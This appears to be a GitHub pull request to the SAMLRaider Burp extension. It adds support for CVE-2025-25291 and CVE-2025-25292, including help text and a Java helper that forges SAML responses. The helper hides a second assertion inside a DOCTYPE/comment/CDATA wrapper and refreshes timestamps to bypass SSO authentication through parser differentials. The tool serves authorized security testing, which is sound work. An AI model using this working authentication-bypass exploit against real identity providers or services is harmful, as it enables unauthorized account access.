Skip to content

SAML Attack Based on parser differentials #94

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
18 changes: 15 additions & 3 deletions src/main/java/application/SamlTabController.java
Original file line number Diff line number Diff line change
Expand Up @@ -15,9 +15,8 @@
import gui.SamlPanelInfo;
import gui.SignatureHelpWindow;
import gui.XSWHelpWindow;
import helpers.CVE_2025_23369;
import helpers.XMLHelpers;
import helpers.XSWHelpers;
import helpers.*;

import java.awt.Component;
import java.awt.Desktop;
import java.awt.Toolkit;
Expand Down Expand Up @@ -489,6 +488,19 @@ public void applyCVE() {
textArea.setContents(ByteArray.byteArray(samlMessage));
isEdited = true;
setInfoMessageText("%s applied".formatted(cve));
break;
case CVE_2025_25291.CVE:
samlMessage = CVE_2025_25291.apply(orgSAMLMessage);
textArea.setContents(ByteArray.byteArray(samlMessage));
isEdited = true;
setInfoMessageText("%s applied".formatted(cve));
break;
case CVE_2025_25292.CVE:
samlMessage = CVE_2025_25292.apply(orgSAMLMessage);
textArea.setContents(ByteArray.byteArray(samlMessage));
isEdited = true;
setInfoMessageText("%s applied".formatted(cve));
break;
}
} catch (Exception exc) {
setInfoMessageText(exc.getMessage());
Expand Down
39 changes: 39 additions & 0 deletions src/main/java/gui/CVEHelpWindow.java
Original file line number Diff line number Diff line change
@@ -1,6 +1,9 @@
package gui;

import helpers.CVE_2025_23369;
import helpers.CVE_2025_25291;
import helpers.CVE_2025_25292;

import java.awt.BorderLayout;
import java.io.Serial;
import javax.swing.JFrame;
Expand Down Expand Up @@ -32,6 +35,42 @@ public CVEHelpWindow(String cve) {
</li>
</ol>
""";
} if (cve.equals(CVE_2025_25291.CVE)) {
description = """
<ol>
<li>
You need a SAMLResponse that is valid and accepted by the server.
</li>
<li>
Apply the CVE to the SAMLResponse without any prior changes. See whether the
SAMLResponse is still accepted. If so, this is an indicator that the server is
vulnerable.
</li>
<li>
After applying the CVE-2025-25291 transformation, the resulting SAML message contains two
assertions: the original and a fake assertion crafted inside the DOCTYPE declaration
at the beginning of the document.
You can try to change one of the fake assertions attribute to bypass authentication.
</li>
</ol>
""";
} if (cve.equals(CVE_2025_25292.CVE)) {
description = """
<ol>
<li>
You need a SAMLResponse that is valid and accepted by the server.
</li>
<li>
Apply the CVE to the SAMLResponse without any prior changes. See whether the
SAMLResponse is still accepted. If so, this is an indicator that the server is
vulnerable.
</li>
<li>
After applying the CVE-2025-25292 transformation,
You can try to change one of the assertions attribute to bypass authentication.
</li>
</ol>
""";
} else {
description = "no description";
}
Expand Down
7 changes: 6 additions & 1 deletion src/main/java/gui/SamlPanelAction.java
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,9 @@
import javax.swing.JTextField;
import javax.swing.SwingUtilities;
import javax.swing.border.EmptyBorder;

import helpers.CVE_2025_25291;
import helpers.CVE_2025_25292;
import model.BurpCertificate;
import net.miginfocom.swing.MigLayout;

Expand Down Expand Up @@ -107,7 +110,9 @@ private void initialize() {
xmlAttacksPanel.add(btnTestXSLT, "wrap");

cmbboxCVE.setModel(new DefaultComboBoxModel<>(new String[]{
CVE_2025_23369.CVE
CVE_2025_23369.CVE,
CVE_2025_25291.CVE,
CVE_2025_25292.CVE
}));

btnCVEApply.addActionListener(event -> controller.applyCVE());
Expand Down
96 changes: 96 additions & 0 deletions src/main/java/helpers/CVE_2025_25291.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,96 @@
package helpers;

import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;

import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.TimeZone;

/// Links:
/// * https://github.com/CompassSecurity/SAMLRaider/issues/93
/// * https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/
/// * https://portswigger.net/research/saml-roulette-the-hacker-always-wins
/// * https://github.com/d0ge/proof-of-concept-labs/tree/main/round-trip
public class CVE_2025_25291 {

public static final String CVE = "CVE-2025-25291";

private CVE_2025_25291() {
// static class
}

public static String apply(String samlMessage) throws SAXException, IOException {
XMLHelpers xmlHelpers = new XMLHelpers();
Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage);

String now = getCurrentSAMLTime();
String future = getFutureSAMLTime();
// Replace all time attributes except AuthnInstant, as Ruby ignores it
updateAttribute(document, "IssueInstant", now);
updateAttribute(document, "NotBefore", now);
updateAttribute(document, "NotOnOrAfter", future);
updateAttribute(document, "SessionNotOnOrAfter", future);

Element response = (Element) document.getElementsByTagNameNS("*", "Response").item(0);
Element assertion = (Element) document.getElementsByTagNameNS("*", "Assertion").item(0);

if (response == null) {
throw new IllegalArgumentException("Missing <Response> element in SAML document.");
}

if (assertion == null) {
throw new IllegalArgumentException("Missing <Assertion> element in SAML document.");
}

Element root = document.getDocumentElement();
String endTag = root.getPrefix() != null
? "</" + root.getPrefix() + ":" + root.getLocalName() + ">"
: "</" + root.getTagName() + ">";

String xmlContent = xmlHelpers.getString(document,4).trim().replaceFirst("^<\\?xml[^>]*\\?>\\s*", "");
String[] parts = xmlContent.split(endTag);

String originalXML = samlMessage.replaceFirst("^<\\?xml[^>]*\\?>\\s*", "");
String[] originalParts = originalXML.split(endTag);

if (parts.length != 1 || originalParts.length != 1) {
throw new IllegalArgumentException("SAML document structure is invalid or contains multiple root elements.");
}

return "<!DOCTYPE response SYSTEM 'x\"><!--'>\n" +
parts[0] +
"<![CDATA[-->\n" +
originalParts[0] +
"<!--]]>-->\n" +
endTag;
}

private static void updateAttribute(Document document, String attrName, String value) {
NodeList allElements = document.getElementsByTagName("*");
for (int i = 0; i < allElements.getLength(); i++) {
Element el = (Element) allElements.item(i);
if (el.hasAttribute(attrName)) {
el.setAttribute(attrName, value);
}
}
}

private static String getCurrentSAMLTime() {
return getFormattedSAMLTime(new Date());
}

private static String getFutureSAMLTime() {
long now = System.currentTimeMillis();
return getFormattedSAMLTime(new Date(now + 60 * 60 * 1000));
}

private static String getFormattedSAMLTime(Date date) {
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSS'Z'");
sdf.setTimeZone(TimeZone.getTimeZone("UTC"));
return sdf.format(date);
}
}
Loading